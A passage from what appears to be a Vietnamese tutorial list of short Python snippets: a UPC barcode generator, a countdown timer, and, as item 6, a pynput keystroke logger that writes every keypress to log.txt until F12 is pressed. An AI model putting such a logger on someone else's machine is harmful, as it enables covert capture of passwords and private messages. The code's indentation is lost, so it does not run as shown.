import barcode
from barcode.writer import ImageWriter
#Define content of the barcode as a string
number = input("Enter the code to generate barcode: ")
#Get the required barcode format
barcode_format = barcode.get_barcode_class('upc')
#Generate barcode and render as image
my_barcode = barcode_format(number, writer=ImageWriter())
#Save barcode as PNG
my_barcode.save("generated_barcode")
6. Ghi lại lịch sử bàn phím
from pynput.keyboard import Listener
def anonymous(key):
key = str(key)
if key == "Key.f12":
raise SystemExit(0)
if key == "Key.ctrl_l":
key = ""
if key == "Key.enter":
key = "\n"
with open("log.txt", "a") as file:
file.write(key)
with Listener(on_press=anonymous) as hacker:
hacker.join()
7. Đồng hồ đếm ngược
import time
def countdown(t):
while t:
mins, secs = divmod(t, 60)
timer = '{:02d}:{:02d}'.format(mins, secs)
print(timer, end="\r")
time.sleep(1)
t -= 1
print('Timer complete!')
t = input('Enter the time in seconds: ')
countdown(int(t))